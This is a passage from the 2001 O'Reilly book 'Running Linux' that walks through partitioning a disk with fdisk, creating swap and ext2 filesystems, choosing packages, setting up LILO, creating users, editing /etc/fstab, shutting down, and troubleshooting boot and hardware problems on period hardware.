Second SCSI CD-ROM drive | /dev/scd1
... |
First generic SCSI device (like scanners, CDR writers, etc.). Note that newer systems use numbers instead of letters (i.e., /dev/sg0 instead of /dev/sga). | /dev/sga
Second generic SCSI device | /dev/sgb
... |

A few notes about this table: /dev/fd0 corresponds to the first floppy drive (A: under MS-DOS), and /dev/fd1 corresponds to the second floppy (B:).

Also, SCSI hard drives are named differently from other drives. IDE, MFM, and RLL drives are accessed through the devices /dev/hda, /dev/hdb, and so on. The individual partitions on the drive /dev/hda are /dev/hda1, /dev/hda2, and so on. However, SCSI drives are named /dev/sda, /dev/sdb, and so on, with partition names such as /dev/sda1 and /dev/sda2.

Most systems, of course, do not have four primary partitions. But the names /dev/hda1 through /dev/hda4 are still reserved for these partitions; they cannot be used to name logical partitions.

Here's an example. Let's say you have a single IDE hard drive, with three primary partitions. The first two are set aside for MS-DOS, and the third is an extended partition that contains two logical partitions, both for use by Linux. The devices referring to these partitions would be:

Device | Name
First MS-DOS partition (C:) | /dev/hda1
Second MS-DOS partition (D:) | /dev/hda2
Extended partition | /dev/hda3
First Linux logical partition | /dev/hda5
Second Linux logical partition | /dev/hda6

Note that /dev/hda4 is skipped; it corresponds to the fourth primary partition, which we don't have in this example. Logical partitions are named consecutively starting with /dev/hda5.

3.1.3. Creating Linux Partitions

Now you are ready to create Linux partitions with the fdisk command. In general, you need to create at least one partition for the Linux software itself and another partition for swap space.

Here we are describing the basic text-mode usage of fdisk which should be available with all distributions. Many distributions nowadays provide a more user-friendly interface to fdisk. While those are usually not as flexible as plain fdisk, they can help you make the right choices more easily. Whatever tool you use, this section is helpful for understanding the underlying concepts. The tools all do more or less the same things in the end; some simply have more sugar-coating than others. You can also make use of the information presented here for fixing or checking something that you suspect didn't go right with the graphical tool.

After booting the installation media, run fdisk by typing:

fdisk drive
where drive is the Linux device name of the drive to which you plan to add partitions (see Table 3-1). For instance, if you want to run fdisk on the first SCSI disk in your system, use the command:
# fdisk /dev/sda
/dev/hda (the first IDE drive) is the default if you don't specify one.

If you are creating Linux partitions on more than one drive, run fdisk once for each drive:

# fdisk /dev/hda

Command (m for help):

Here fdisk is waiting for a command; you can type m to get a list of options:

Command (m for help): m
Command action
   a   toggle a bootable flag
   d   delete a partition
   l   list known partition types
   m   print this menu
   n   add a new partition
   p   print the partition table
   q   quit without saving changes
   t   change a partition's system id
   u   change display/entry units
   v   verify the partition table
   w   write table to disk and exit
   x   extra functionality (experts only)

Command (m for help):
The n command is used to create a new partition. Most other options you won't need to worry about. To quit fdisk without saving any changes, use the q command. To quit fdisk and write the changes to the partition table to disk, use the w command. This is worth repeating: So long as you quit with q without writing, you can mess around as much as you want with fdisk without risking harm to your data. Only when you type w, you can cause potential disaster to your data if you do something wrong.

The first thing you should do is display your current partition table and write the information down for later reference. Use the p command to see the information. It is a good idea to copy the information to your notebook after each change you have made to the partition table. If, for some reason, your partition table is damaged, you will not access any data on your hard disk any longer, even though the data itself is still there. But by using your notes, you might be able to restore the partition table and get your data back in many cases by running fdisk again and deleting and recreating the partitions with the parameters you previously wrote down. Don't forget to save the restored partition table when you are done.

Here is an example of a printed partition table:

Command (m for help): p

Disk /dev/hda: 16 heads, 38 sectors, 683 cylinders
Units = cylinders of 608 * 512 bytes
   Device Boot  Begin   Start     End  Blocks   Id  System
/dev/hda1   *       1       1     203   61693    6  DOS 16-bit >=32M

Command (m for help):
In this example, we have a single MS-DOS partition on /dev/hda1, which is 61693 blocks (about 60 MB).[17] This partition starts at cylinder number 1 and ends on cylinder 203. We have a total of 683 cylinders in this disk; so there are 480 cylinders left to create Linux partitions on.

[17]A block, under Linux, is 1024 bytes.

To create a new partition, use the n command. In this example, we'll create two primary partitions (/dev/hda2 and /dev/hda3 ) for Linux:

Command (m for help): n
Command action
  e   extended
  p   primary partition (1-4)
  p
Here, fdisk is asking which type of the partition to create: extended or primary. In our example, we're creating only primary partitions, so we choose p:
Partition number (1-4):
fdisk will then ask for the number of the partition to create; since partition 1 is already used, our first Linux partition will be number 2:
Partition number (1-4): 2
First cylinder (204-683):
 Now, we enter the starting cylinder number of the partition. Since cylinders 204 through 683 are unused, we'll use the first available one (numbered 204). There's no reason to leave empty space between partitions:
First cylinder (204-683): 204
Last cylinder or +size or +sizeM or +sizeK (204-683):
 fdisk is asking for the size of the partition we want to create. We can either specify an ending cylinder number, or a size in bytes, kilobytes, or megabytes. Since we want our partition to be 80 MB in size, we specify +80M. When specifying a partition size in this way, fdisk will round the actual partition size to the nearest number of cylinders:
Last cylinder or +size or +sizeM or +sizeK (204-683): +80M

Warning: Linux cannot currently use 33090 sectors of this partition
If you see a warning message such as this, it can be ignored. fdisk prints the warning because it's an older program and dates back before the time that Linux partitions were allowed to be larger than 64 MB.

Now we're ready to create our second Linux partition. For sake of demonstration, we'll create it with a size of 10 MB:

Command (m for help): n
Command action
   e   extended
   p   primary partition (1-4)
p
Partition number (1-4): 3
First cylinder (474-683): 474
Last cylinder or +size or +sizeM or +sizeK (474-683): +10M

At last, we'll display the partition table. Again, write down all of this information--especially the block sizes of your new partitions. You'll need to know the sizes of the partitions when creating filesystems. Also, verify that none of your partitions overlap:

Command (m for help): p

Disk /dev/hda: 16 heads, 38 sectors, 683 cylinders
Units = cylinders of 608 * 512 bytes
   Device Boot  Begin   Start     End  Blocks   Id  System
/dev/hda1   *       1       1     203   61693    6  DOS 16-bit >=32M
/dev/hda2         204     204     473   82080   83  Linux native
/dev/hda3         474     474     507   10336   83  Linux native
As you can see, /dev/hda2 is now a partition of size 82080 blocks (which corresponds to about 80 MB), and /dev/hda3 is 10336 blocks (about 10 MB).

Note that most distributions require you to use the t command in fdisk to change the type of the swap partition to "Linux swap," which is numbered 82. You can use the L command to print a list of known partition type codes, and then use the t command to set the type of the swap partition to that which corresponds to "Linux swap."

This way the installation software will be able to automatically find your swap partitions based on type. If the installation software doesn't seem to recognize your swap partition, you might want to rerun fdisk and use the t command on the partition in question.

In the previous example, the remaining cylinders on the disk (numbered 508 to 683) are unused. You may wish to leave unused space on the disk, in case you wish to create additional partitions later.

Finally, we use the w command to write the changes to disk and exit fdisk:

Command (m for help): w
#

Keep in mind that none of the changes you make while running fdisk take effect until you give the w command, so you can toy with different configurations and save them when you're done. Also, if you want to quit fdisk at any time without saving the changes, use the q command. Remember that you shouldn't modify partitions for operating systems other than Linux with the Linux fdisk program.

You may not be able to boot Linux from a partition using cylinders numbered over 1023. Therefore, you should try to create your Linux root partition within the sub-1024 cylinder range which is almost always possible (e.g., by creating a small root partition in the sub-1024 cylinder range). If for some reason, you cannot or do not want to do this, you can simply boot Linux from floppy.

Some Linux distributions require you to reboot the system after running fdisk to allow the changes to the partition table to take effect before installing the software. Newer versions of fdisk automatically update the partition information in the kernel, so rebooting isn't necessary. To be on the safe side, after running fdisk you should reboot the installation media before proceeding.

3.1.4. Creating Swap Space

If you are planning to use a swap partition for virtual RAM, you're ready to prepare it.[18] In the section "Section 6.2, "Managing Swap Space"" in Chapter 6, "Managing Filesystems, Swap, and Devices", we discuss the preparation of a swap file, in case you don't want to use an individual partition.

[18]Again, some distributions of Linux prepare the swap space for you automatically, or via an installation menu option.

Many distributions require you to create and activate swap space before installing the software. If you have a small amount of physical RAM, the installation procedure may not be successful unless you have some amount of swap space enabled.

The command used to prepare a swap partition is mkswap, and it takes the following form:

mkswap -c partition size
where partition is the name of the swap partition, and size is the size of the partition in blocks.[19] For example, if your swap partition is /dev/hda3 and is 10336 blocks in size, use the command:
# mkswap -c /dev/hda3 10336
The -c option tells mkswap to check for bad blocks on the partition when creating the swap space. Bad blocks are spots on the magnetic media that do not hold the data correctly. This occurs only rarely with today's hard disks, but if it does, and you do not know about it, it can cause you endless trouble. Always use the -c option to have mkswap check for bad blocks. It will exclude these from being used automatically.

[19]This is the size as reported by fdisk, using the p menu option. Again, a block under Linux is 1024 bytes.

If you are using multiple swap partitions, you need to execute the appropriate mkswap command for each partition.

After formatting the swap space, you need to enable it for use by the system. Usually, the system automatically enables swap space at boot time. However, because you have not yet installed the Linux software, you need to enable it by hand.

The command to enable swap space is swapon, and it takes the following form:

swapon partition
After the mkswap command shown, we use the following command to enable the swap space on /dev/hda3:
# swapon /dev/hda3

3.1.5. Creating the Filesystems

Before you can use your Linux partitions to store files, you must create filesystems on them. Creating a filesystem is analogous to formatting a partition under MS-DOS or other operating systems. We discussed filesystems briefly in the section "Section 2.2.3, "Linux Partition Requirements"" in Chapter 2, "Preparing to Install Linux".

There are several types of filesystems available for Linux. Each filesystem type has its own format and set of characteristics (such as filename length, maximum file size, and so on). Linux also supports several "third-party" filesystem types, such as the MS-DOS filesystem.

The most commonly used filesystem type is the Second Extended Filesystem, or ext2fs. The ext2fs is one of the most efficient and flexible filesystems; it allows filenames of up to 256 characters and filesystem sizes of up to 4 terabytes. In the section "Section 6.1.1, "Filesystem Types"" in Chapter 6, "Managing Filesystems, Swap, and Devices", we discuss the various filesystem types available for Linux. Initially, however, we suggest you use the ext2fs filesystem.

To create an ext2fs filesystem, use the command:

mke2fs -c partition size
where partition is the name of the partition, and size is the size of the partition in blocks. For example, to create an 82080-block filesystem on /dev/hda2, use the command:
# mke2fs -c /dev/hda2 82080

If you're using multiple filesystems for Linux, you need to use the appropriate mke2fs command for each filesystem.

If you have encountered any problems at this point, see the section "Section 3.3, "Running Into Trouble"" later in this chapter.

3.1.6. Installing the Software

Finally, you are ready to install the software on your system. Every distribution has a different mechanism for doing this. Many distributions have a self-contained program that steps you through the installation. On other distributions, you have to mount your filesystems in a certain subdirectory (such as /mnt) and copy the software to them by hand. On CD-ROM distributions, you may be given the option to install a portion of the software on your hard drive and leave most of the software on the CD-ROM. This is often called a "live filesystem." Such a live filesystem is convenient for trying out Linux before you make a commitment to install everything on your disk.

Some distributions offer several different ways to install the software. For example, you may be able to install the software directly from an MS-DOS partition on your hard drive instead of from floppies. Or you may be able to install over a TCP/IP network via FTP or NFS. See your distribution's documentation for details.

For example, the Slackware distribution requires you to do the following:

  1. Create partitions with fdisk.

  2. Optionally create swap space with mkswap and swapon (if you have 16 MB or less of RAM).

  3. Run the setup program to install the software. setup leads you through a self-explanatory menu system.

The exact method used to install the Linux software differs greatly with each distribution.

You might be overwhelmed by the choice of software to install. Modern Linux distributions can easily contain a thousand or more packages spread over several CD-ROMs. There are basically three methods for selecting the software package:

Selection by task

This is the easiest means of selection for beginners. You don't have to think about whether you need a certain package, you just pick whether your Linux computer should act as a workstation, a development machine, or a network router, and the installation program will pick the appropriate packages for you. In all cases, you can then either refine the selection by hand or come back to the installation program later.

Selection of individual packages by series

With this selection mechanism, all the packages are grouped into series like "Networking," "Development," or "Graphics." You can go through all the series and pick the individual packages there. This requires more decisions than if you select it by task, because you still have to decide whether you need it or not, but you can skip an entire series when you are sure that you are not interested in the functions it offers.

Selection of individual packages sorted alphabetically

This method is useful only when you already know which packages you want to install; otherwise you won't see the forest for the trees.

Chosing one selection method does not exclude the use of the others. Most distributions offer two or more of the aforementioned selection mechanisms.

It might still be difficult to decide which package to pick. Good distributions show a short description of each package on screen to make it easier for you to select the correct ones, but if you are still unsure, our advice is this: when in doubt, leave it out! You can always go back and add packages later.

Modern distributions have a very nifty feature, the so-called dependency tracking. Some packages work only when some other packages are installed (e.g., a graphics viewer might need special graphics libraries to import files). With dependency tracking, the installation program can inform you about those dependencies and will let you automatically select the package you want along with all the ones it depends on. Unless you are very sure about what you are doing, you should always accept this offer, or the package might not work afterwards.

Installation programs can help you make your selection and avoid mistakes in other ways. For example, the installation program might refuse to start the installation when you deselect a package that is absolutely crucial for even the most minimal system to boot (like the basic directory structure). Or, it might check for mutual exclusions, such as cases in which you can only have one package or the other, but not both.

Some distributions like SuSE come with a large book that among other things lists all the packages together with short descriptions. It might be a good idea to at least skim those description to see what's in store for you, or you might be surprised when you select the packages and are offered the twenty-fifth text editor.

3.1.7. Creating the Boot Floppy or Installing LILO

Every distribution provides some means of booting your new Linux system after you have installed the software. In many cases, the installation procedure suggests you create a boot floppy, which contains a Linux kernel configured to use your newly created root filesystem. In order to boot Linux, you could boot from this floppy; control is transferred to your hard drive after you boot. On other distributions, this boot floppy is the installation floppy itself.

Many distributions give you the option of installing LILO on your hard drive. LILO is a program that resides on your drive's master boot record. It boots a number of operating systems, including MS-DOS and Linux, and allows you to select which to boot at startup time.

In order for LILO to be installed successfully, it needs to know a good deal of information about your drive configuration: for example, which partitions contain which operating systems, how to boot each operating system, and so on. Many distributions, when installing LILO, attempt to "guess" at the appropriate parameters for your configuration. Although it's not often, the automated LILO installation provided by some distributions can fail and leave your master boot record in shambles (although it's very doubtful that any damage to the actual data on your hard drive will take place). In particular, if you use OS/2's Boot Manager, you should not install LILO using the automated procedure; there are special instructions for using LILO with the Boot Manager, which will be covered in Chapter 5, "Essential System Management".

In many cases, it is best to use a boot floppy until you have a chance to configure LILO yourself, by hand. If you're feeling exceptionally trustworthy, though, you can go ahead with the automated LILO installation if it is provided with your distribution.

In the section "Section 5.2.2, "Using LILO"" in Chapter 5, "Essential System Management", we'll cover in detail how to configure and install LILO for your particular setup.

If everything goes well, then congratulations! You have just installed Linux on your system. Go have a cup of tea or something; you deserve it.

In case you did run into any trouble, the section "Section 3.3, "Running Into Trouble"," later in this chapter, describes the most common sticking points for Linux installations, and how to get around them.

3.1.8. Additional Installation Procedures

Some distributions of Linux provide a number of additional installation procedures, allowing you to configure various software packages, such as TCP/IP networking, the X Window System, and so on. If you are provided with these configuration options during installation, you may wish to read ahead in this book for more information on how to configure this software. Otherwise, you should put off these installation procedures until you have a complete understanding of how to configure the software.

It's up to you; if all else fails, just go with the flow and see what happens. It's doubtful that anything you do incorrectly now cannot be undone in the future (knock on wood).

Previous | Home | Next
2.2. Preparing to Install Linux | Book Index | 3.2. Post-Installation Procedures
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Post-Installation Procedures (Running Linux)

 Running LinuxSearch this book
Previous Next

3.2. Post-Installation Procedures

After you have completed installing the Linux software, you should be able to reboot the system, log in as root, and begin exploring the system. (Each distribution has a different method for doing this; follow the instructions given by the distribution.)

Before you strike out on your own, however, there are some tasks you should do now that may save you a lot of grief later. Some of these tasks are trivial if you have the right hardware and Linux distribution; others may involve a little research on your part, and you may decide to postpone them.

3.2.1. Creating a User Account

In order to start using your system, you need to create a user account for yourself. Eventually, if you plan to have other users on your system, you'll create user accounts for them as well. But before you begin to explore you need at least one account.

Why is this? Every Linux system has several preinstalled accounts, such as root. The root account, however, is intended exclusively for administrative purposes. As root you have all kinds of privileges and can access all files on your system.

However, using root can be dangerous, especially if you're new to Linux. Because there are no restrictions on what root can do, it's all too easy to mistype a command, inadvertently delete files, damage your filesystem, and so on. You should log in as root only when you need to perform system-administration tasks, such as fixing configuration files, installing new software, and so on. See the section "Section 5.1, "Running the System"" in Chapter 5, "Essential System Management" for details.

For normal usage, you should create a standard user account. Unix systems have built-in security that prevents users from deleting other users' files and corrupting important resources, such as system configuration files. As a regular user, you'll be protecting yourself from your own mistakes. This is especially true for users who don't have Unix system-administration experience.

Many Linux distributions provide tools for creating new accounts. These programs are usually called useradd or adduser. As root, invoking one of these commands should present you with a usage summary for the command, and creating a new account should be fairly self-explanatory.

Most modern distributions provide a generic system administration tool for various tasks, one of which is creating a new user account.

Again other distributions, like SuSE Linux or Caldera Open Linux, integrate system installation and system administration in one tool: yast on SuSE Linux or lisa on Caldera Open Linux.

If all else fails, you can create an account by hand. Usually, all that is required to create an account is:

  1. Edit the file /etc/passwd to add the new user.

  2. Optionally edit the file /etc/shadow to specify "shadow password" attributes for the new user.

  3. Create the user's home directory.

  4. Copy skeleton configuration files (such as .bashrc) to the new user's home directory. These can sometimes be found in the directory /etc/skel.

We don't want to go into great detail here: the particulars of creating a new user account can be found in virtually every book on Unix system administration (see the Bibliography for suggested reading). We also talk about creating users in the section "Section 5.7, "Managing User Accounts"" in Chapter 5, "Essential System Management". With luck, there will be a tool provided to take care of these details for you.

Keep in mind that to set or change the password on the new account, you use the passwd command. For example, to change the password for the user duck, issue the following command:

# passwd duck
This will prompt you to set or change the password for duck. If you execute the passwd command as root, it will not prompt you for the original password. In this way, if you have forgotten your old password, but can still log in as root, you can reset it.

3.2.2. Getting Online Help

Linux provides online help in the form of manual pages--or "man pages" for short. Throughout this book, we'll be directing you to look at the manual pages for particular commands to get more information. Manual pages describe programs and applications on the system in detail, and it's important for you to learn how to access this online documentation in case you get into a bind.

To get online help for a particular command, use the man command. For example, to get information on the passwd command, type the following command:

$ man passwd
This should present you with the manual page for passwd.

Usually, manual pages are provided as an optional package with most distributions, so they won't be available unless you have opted to install them. However, we very strongly advise you to install the manual pages, you will feel lost many times without them.

In addition, certain manual pages may be missing or incomplete on your system. It depends on how complete your distribution is and how up-to-date the manual pages are.

Linux manual pages also document system calls, library functions, configuration file formats, and kernel internals. In the section "Section 4.12, "Manual Pages"" in Chapter 4, "Basic Unix Commands and Concepts", we'll describe their use in more detail.

Besides traditional manual pages, there are also so-called info pages. These can be read either with the text editor Emacs, the command info or one of many graphical info readers available.

Many distributions also provide documentation in HTML format that you can read with any Web browser like Netscape Navigator but also with the text editor Emacs.

Finally, there are documentation files that are simply plain text. You can read these with any text editor or simply with the command more.

If you cannot find documentation for a certain command, you can also try running it with either the -h or - - option. Most commands then provide a brief summary of their usage.

3.2.3. Editing /etc/fstab

In order to ensure that all of your Linux filesystems will be available when you reboot the system, you may need to edit the file /etc/fstab, which describes your filesystems. Many distributions automatically generate the /etc/fstab file for you during installation, so all may be well. However, if you have additional filesystems that were not used during the installation process, you may need to add them to /etc/fstab in order to make them available. Swap partitions should be included in /etc/fstab as well.

In order to access a filesystem, it must be mounted on your system. Mounting a filesystem associates that filesystem with a particular directory. For example, the root filesystem is mounted on /, the /usr filesystem on /usr, and so on. (If you did not create a separate filesystem for /usr, all files under /usr will be stored on the root filesystem.)

We don't want to smother you with technical details here, but it is important to understand how to make your filesystems available before exploring the system. For more details on mounting filesystems, see the section "Section 6.1.2, "Mounting Filesystems"" in Chapter 6, "Managing Filesystems, Swap, and Devices", or any book on Unix system administration.

The root filesystem is automatically mounted on / when you boot Linux. However, your other filesystems must be mounted individually. Usually, this is accomplished by the command:

# mount -av
in one of the system startup files in /etc/rc.d or wherever your distribution stores its configuration files. This tells the mount command to mount any filesystems listed in the file /etc/fstab. Therefore, in order to have your filesystems mounted automatically at boot time, you need to include them in /etc/fstab. (Of course, you could always mount the filesystems by hand, using the mount command after booting, but this is unnecessary work.)

Here is a sample /etc/fstab file. In this example, the root filesystem is on /dev/hda1, the /home filesystem is on /dev/hdb2, and the swap partition is on /dev/hdb1:

# /etc/fstab
# device      directory   type   options
#
/dev/hda1     /           ext2   defaults
/dev/hdb2     /home       ext2   defaults
/dev/hdb1     none        swap   sw
/proc         /proc       proc   defaults

The lines beginning with the "#" character are comments. Also, you'll notice an additional entry for /proc. /proc is a "virtual filesystem" used to gather process information by commands such as ps.

As you can see, /etc/fstab consists of a series of lines. The first field of each line is the device name of the partition, such as /dev/hda1. The second field is the mount point--the directory where the filesystem is mounted. The third field is the type; Linux ext2fs filesystems should use ext2 for this field. swap should be used for swap partitions. The fourth field is for mounting options. You should use defaults in this field for filesystems and sw for swap partitions.

Using this example as a model, you should be able to add entries for any filesystems not already listed in the /etc/fstab file.

How do we add entries to the file? The easiest way is to edit the file, as root, using an editor such as vi or Emacs. We won't get into the use of text editors here--vi and Emacs are both covered at the beginning of Chapter 9, "Editors, Text Tools, Graphics, and Printing".

After editing the file, you'll need to issue the command:

# /bin/mount -a
or reboot for the changes to take effect.

If you're stuck at this point, don't be alarmed. We suggest that Unix novices do some reading on basic Unix usage and system administration. Most of the remainder of this book is going to assume familiarity with these basics, so don't say we didn't warn you.

3.2.4. Shutting Down the System

You should never reboot or shut down your Linux system by pressing the reset switch or simply turning off the power. As with most Unix systems, Linux caches disk writes in memory. Therefore, if you suddenly reboot the system without shutting down "cleanly," you can corrupt the data on your drives. Note, however, that the "Vulcan nerve pinch" (pressing Ctrl-Alt-Del in unison) is generally safe: the kernel traps the key sequence and initiates a clean shutdown of the system (as described in the section "Section 5.3.2, "init, inittab, and rc files"" in Chapter 5, "Essential System Management". Your system configuration might reserve the Ctrl-Alt-Del for the system administrator so that normal users cannot shut down the network server that the whole department depends upon. To set permissions for this keystroke combination, create a file called /etc/shutdown.allow that lists the names of all the users that are allowed to shut down the machine.

The easiest way to shut down the system is with the shutdown command. As an example, to shutdown and reboot the system immediately, use the following command as root:

# shutdown -r now
This will cleanly reboot your system. The manual page for shutdown describes the other available command-line arguments. Instead of now, you can also specify when the system should be shut down. Most distributions also provide halt, which calls shutdown now. On some distributions, there is also poweroff which actually shuts the computer down and turns it off. Whether it works depends on the hardware (which must support APM), not on Linux.

Previous | Home | Next
3. Installation and Initial Configuration | Book Index | 3.3. Running Into Trouble
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Running Into Trouble (Running Linux)

 Running LinuxSearch this book
Previous Next

3.3. Running Into Trouble

Almost everyone runs into some kind of snag or hangup when attempting to install Linux the first time. Most of the time, the problem is caused by a simple misunderstanding. Sometimes, however, it can be something more serious, such as an oversight by one of the developers or a bug.

This section will describe some of the most common installation problems and how to solve them. If your installation appears to be successful, but you received unexpected error messages during the installation, these are described here as well.

3.3.1. Problems with Booting the Installation Media

When attempting to boot the installation media for the first time, you may encounter a number of problems. Note that the following problems are not related to booting your newly installed Linux system. See the section "Section 3.3.4, "Problems After Installing Linux"" for information on these kinds of pitfalls.

Floppy or media error occurs when attempting to boot.

The most popular cause for this kind of problem is a corrupt boot floppy. Either the floppy is physically damaged, in which case you should recreate the disk with a brand new floppy, or the data on the floppy is bad, in which case you should verify that you downloaded and transferred the data to the floppy correctly. In many cases, simply recreating the boot floppy will solve your problems. Retrace your steps and try again.

If you received your boot floppy from a mail-order vendor or some other distributor, instead of downloading and creating it yourself, contact the distributor and ask for a new boot floppy--but only after verifying that this is indeed the problem.

System "hangs" during boot or after booting.

After the installation media boots, you see a number of messages from the kernel itself, indicating which devices were detected and configured. After this, you are usually presented with a login prompt, allowing you to proceed with installation (some distributions instead drop you right into an installation program of some kind). The system may appear to "hang" during several of these steps. Be patient; loading software from floppy is very slow. In many cases, the system has not hung at all, but is merely taking a long time. Verify that there is no drive or system activity for at least several minutes before assuming that system is hung.

The proper boot sequence is:

  1. After booting from the LILO prompt, the system must load the kernel image from floppy. This may take several seconds; you know things are going well if the floppy drive light is still on.

  2. While the kernel boots, SCSI devices must be probed for. If you do not have any SCSI devices installed, the system will "hang" for up to 15 seconds while the SCSI probe continues; this usually occurs after the line:

    lp_init: lp1 exists (0), using polling driver
    appears on your screen.

  3. After the kernel is finished booting, control is transferred to the system bootup files on the floppy. Finally, you will be presented with a login prompt, or be dropped into an installation program. If you are presented with a login prompt such as:

    Linux login:
    you should then log in (usually as root or install--this varies with each distribution). After entering the username, the system may pause for 20 seconds or more while the installation program or shell is being loaded from floppy. Again, the floppy drive light should be on. Don't assume the system is hung.

Each of the preceding activities may cause a delay that makes you think the system has stopped. However, it is possible that the system actually may "hang" while booting, which can be due to several causes. First of all, you may not have enough available RAM to boot the installation media. (See the following item for information on disabling the ramdisk to free up memory.)

Hardware incompatibility causes many system hangs. The section "Section 1.9, "Hardware Requirements"" in Chapter 1, "Introduction to Linux", presents an overview of supported hardware under Linux. Even if your hardware is supported, you may run into problems with incompatible hardware configurations that are causing the system to hang. See the next section, "Section 3.3.2, "Hardware Problems"," for a discussion of hardware incompatibilities:

System reports out-of-memory errors while attempting to boot or install the software.

This problem relates to the amount of RAM you have available. On systems with 4 MB of RAM or less, you may run into trouble booting the installation media or installing the software itself. This is because many distributions use a "ramdisk," which is a filesystem loaded directly into RAM, for operations while using the installation media. The entire image of the installation boot floppy, for example, may be loaded into a ramdisk, which may require more than 1 MB of RAM.

The solution to this problem is to disable the ramdisk option when booting the install media. Each release has a different procedure for doing this; on the SLS release, for example, you type floppy at the LILO prompt when booting the a1 disk. See your distribution's documentation for details.

You may not see an "out of memory" error when attempting to boot or install the software; instead, the system may unexpectedly hang or fail to boot. If your system hangs, and none of the explanations in the previous section seem to be the cause, try disabling the ramdisk.

Keep in mind that Linux itself requires at least 4 MB of RAM to run at all; almost all current distributions of Linux require 8 MB or more.

The system reports an error, such as "Permission denied" or "File not found" while booting.

This is an indication that your installation boot media is corrupt. If you attempt to boot from the installation media (and you're sure you're doing everything correctly), you should not see any errors such as this. Contact the distributor of your Linux software and find out about the problem, and perhaps obtain another copy of the boot media if necessary. If you downloaded the boot disk yourself, try recreating the boot disk, and see if this solves your problem.

The system reports the error "VFS: Unable to mount root" when booting.

This error message means that the root filesystem (found on the boot media itself) could not be found. This means that either your boot media is corrupt or that you are not booting the system correctly.

For example, many CD-ROM distributions require you to have the CD-ROM in the drive when booting. Also be sure that the CD-ROM drive is on, and check for any activity. It's also possible the system is not locating your CD-ROM drive at boot time; see the next section, "Section 3.3.2, "Hardware Problems"," for more information.

If you're sure you are booting the system correctly, then your boot media may indeed be corrupt. This is an uncommon problem, so try other solutions before attempting to use another boot floppy or tape.

3.3.2. Hardware Problems

The most common problem encountered when attempting to install or use Linux is an incompatibility with hardware. Even if all your hardware is supported by Linux, a misconfiguration or hardware conflict can sometimes cause strange results: your devices may not be detected at boot time, or the system may hang.

It is important to isolate these hardware problems if you suspect they may be the source of your trouble. In the following sections, we describe some common hardware problems and how to resolve them.

3.3.2.1. Isolating hardware problems

If you experience a problem you believe is hardware-related, the first thing to do is attempt to isolate the problem. This means eliminating all possible variables and (usually) taking the system apart, piece-by-piece, until the offending piece of hardware is isolated.

This is not as frightening as it may sound. Basically, you should remove all nonessential hardware from your system (after turning the power off), and then determine which device is actually causing the trouble--possibly by reinserting each device, one at a time. This means you should remove all hardware other than the floppy and video controllers, and, of course, the keyboard. Even innocent-looking devices, such as mouse controllers, can wreak unknown havoc on your peace of mind unless you consider them nonessential.

For example, let's say the system hangs during the Ethernet board detection sequence at boot time. You might hypothesize that there is a conflict or problem with the Ethernet board in your machine. The quick and easy way to find out is to pull the Ethernet board and try booting again. If everything goes well when you reboot, then you know that either the Ethernet board is not supported by Linux (see the section "Section 1.9, "Hardware Requirements"" in Chapter 1, "Introduction to Linux" for a list of compatible boards), or there is an address or IRQ conflict with the board. In addition, some badly designed network boards (mostly NE2000 clones) can hang the entire system when they auto-probed. If this appears to be the case for you, your best bet is to remove the network board from the system during the installation and put it back in later, or pass the appropriate kernel parameters during boot-up so that auto-probing of the network board can be avoided. The most permanent fix is to dump that card and get a new one from another vendor that designs its hardware more carefully.

"Address or IRQ conflict?" What on earth does that mean? All devices in your machine use an interrupt request line, or IRQ, to tell the system they need something done on their behalf. You can think of the IRQ as a cord the device tugs when it needs the system to take care of some pending request. If more than one device is tugging on the same cord, the kernel won't be able to determine which device it needs to service. Instant mayhem.

Therefore, be sure all your installed devices are using unique IRQ lines. In general, the IRQ for a device can be set by jumpers on the card; see the documentation for the particular device for details. Some devices do not require an IRQ at all, but it is suggested you configure them to use one if possible (the Seagate ST01 and ST02 SCSI controllers being good examples).

In some cases, the kernel provided on your installation media is configured to use a certain IRQ for certain devices. For example, on some distributions of Linux, the kernel is preconfigured to use IRQ 5 for the TMC-950 SCSI controller, the Mitsumi CD-ROM controller, and the busmouse driver. If you want to use two or more of these devices, you'll need first to install Linux with only one of these devices enabled, then recompile the kernel in order to change the default IRQ for one of them. (See the section "Section 7.4, "Building a New Kernel"" in Chapter 7, "Upgrading Software and the Kernel", for information on recompiling the kernel.)

Another area where hardware conflicts can arise is with direct memory access (DMA) channels, I/O addresses, and shared memory addresses. All these terms describe mechanisms through which the system interfaces with hardware devices. Some Ethernet boards, for example, use a shared memory address as well as an IRQ to interface with the system. If any of these are in conflict with other devices, the system may behave unexpectedly. You should be able to change the DMA channel, I/O, or shared memory addresses for your various devices with jumper settings. (Unfortunately, some devices don't allow you to change these settings.)

The documentation for your various hardware devices should specify the IRQ, DMA channel, I/O address, or shared memory address the devices use, and how to configure them. Again, the simple way to get around these problems is to temporarily disable the conflicting devices until you have time to determine the cause of the problem.

Table 3-1 is a list of IRQ and DMA channels used by various "standard" devices found on most systems. Almost all systems have some of these devices, so you should avoid setting the IRQ or DMA of other devices to these values.

Table 3-1. Common Device Settings

Device | I/O address | IRQ | DMA
ttyS0 (COM1) | 3f8 | 4 | n/a
ttyS1 (COM2) | 2f8 | 3 | n/a
ttyS2 (COM3) | 3e8 | 4 | n/a
ttyS3 (COM4) | 2e8 | 3 | n/a
lp0 (LPT1) | 378 - 37f | 7 | n/a
lp1 (LPT2) | 278 - 27f | 5 | n/a
fd0, fd1 (floppies 1 and 2) | 3f0 - 3f7 | 6 | 2
fd2, fd3 (floppies 3 and 4) | 370 - 377 | 10 | 3

3.3.2.2. Problems recognizing hard drive or controller

When Linux boots, you see a series of messages on your screen such as the following:

Console: colour EGA+ 80x25, 8 virtual consoles
Serial driver version 3.96 with no serial options enabled
tty00 at 0x03f8 (irq = 4) is a 16450
tty03 at 0x02e8 (irq = 3) is a 16550A
lp_init: lp1 exists (0), using polling driver
…
Here, the kernel is detecting the various hardware devices present on your system. At some point, you should see the line:
Partition check:
followed by a list of recognized partitions, for example:
Partition check:
  hda: hda1 hda2
  hdb: hdb1 hdb2 hdb3
If, for some reason, your drives or partitions are not recognized, you will not be able to access them in any way.

There are several conditions that can cause this to happen:

Hard drive or controller not supported

If you are using a hard drive controller (IDE, SCSI, or otherwise) not supported by Linux, the kernel will not recognize your partitions at boot time.

Drive or controller improperly configured

Even if your controller is supported by Linux, it may not be configured correctly. (This is a problem particularly for SCSI controllers; most non-SCSI controllers should work fine without additional configuration.)

